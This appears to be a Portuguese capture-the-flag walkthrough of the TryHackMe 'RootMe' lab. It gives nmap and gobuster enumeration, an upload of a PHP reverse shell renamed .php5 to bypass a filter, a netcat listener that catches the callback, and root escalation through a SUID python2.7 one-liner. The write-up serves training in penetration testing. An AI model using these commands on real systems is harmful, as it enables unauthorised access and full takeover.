Try Hack Me - RootMe
NOTEResumo da Máquina
- IP:
10.10.2.78- SO: Ubuntu Linux
- Vetor de Ataque: Upload de shell reverso PHP, escalação de privilégios via SUID em Python 2.7.
Tags: #ctf #walkthrough #nmap #gobuster #reverseshell #privesc #suid
1. Reconhecimento e Enumeração
O primeiro passo foi escanear a máquina alvo para identificar portas abertas e os serviços em execução.
1.1. Varredura com Nmap
Usei o Nmap com o script -sV para detectar as versões dos serviços.
nmap -sV 10.10.2.78Resultado:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-04 19:18 -03Nmap scan report for 10.10.2.78Host is up (0.20s latency).Not shown: 998 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTIPPontos de Interesse Encontrados:
- Porta 22: SSH (
OpenSSH 8.2p1)- Porta 80: HTTP (
Apache httpd 2.4.41)
1.2. Enumeração de Diretórios Web
Com um servidor web ativo, o próximo passo foi procurar por diretórios e arquivos ocultos usando o GoBuster.
gobuster dir -u http://10.10.2.78/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtResultado:
/uploads (Status: 301) [Size: 310] [--> http://10.10.2.78/uploads/]/css (Status: 301) [Size: 306] [--> http://10.10.2.78/css/]/js (Status: 301) [Size: 305] [--> http://10.10.2.78/js/]/panel (Status: 301) [Size: 308] [--> http://10.10.2.78/panel/]O diretório /panel/ parece ser o mais promissor para investigação.
2. Acesso Inicial (Shell Reverso)
Ao investigar o diretório /panel/, encontrei um formulário de upload. A estratégia foi enviar um shell reverso em PHP para ganhar acesso à máquina.
2.1. Preparando o Payload
Utilizei o conhecido script php-reverse-shell do Pentestmonkey.
WARNINGModificação Necessária: O servidor não executava arquivos com a extensão
.php. Foi necessário renomear o payload parashell.php5para que o upload e a execução funcionassem.
2.2. Execução
- Iniciei um listener na minha máquina local com
netcatpara receber a conexão reversa:Terminal window nc -lvnp 1234 - Fiz o upload do arquivo
shell.php5através do formulário e o acessei pelo navegador (provavelmente em/uploads/shell.php5). - O listener recebeu a conexão, concedendo um shell como o usuário
www-data:listening on [any] 1234 ...connect to [10.9.1.139] from (UNKNOWN) [10.10.2.78] 40272Linux ip-10-10-2-78 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux22:53:43 up 37 min, 0 users, load average: 0.00, 0.00, 0.00uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off
2.3. Capturando a Flag do Usuário
Com o acesso inicial, procurei pela flag user.txt.
$ find / -type f -name "user.txt" 2>/dev/null/var/www/user.txt$ cat /var/www/user.txtIMPORTANTuser.txt:
THM{...user_flag...}
3. Escalação de Privilégios
O objetivo final é obter acesso root. Para isso, procurei por vetores de escalação de privilégios, começando com binários que possuem a permissão SUID.
3.1. Identificando o Vetor
Usei o comando find para listar todos os arquivos no sistema com o bit SUID ativado.
$ find / -perm -4000 -type f 2>/dev/nullUm resultado se destacou:
/usr/bin/python2.7O binário /usr/bin/python2.7 com permissão SUID é um vetor conhecido de escalação de privilégios.
3.2. Exploração com GTFOBins
O site GTFOBins possui o comando exato para explorar essa vulnerabilidade e obter um shell com os privilégios do dono do arquivo (neste caso, root).
Executei o seguinte comando no shell www-data:
$ /usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'O parâmetro -p no sh garante que o effective user ID seja mantido, resultando em um shell de root.
3.3. Capturando a Flag Root
Agora como root, bastou encontrar e ler a flag final.
find / -type f -name "root.txt" 2>/dev/null/root/root.txtcat /root/root.txtIMPORTANTroot.txt:
THM{...root_flag...}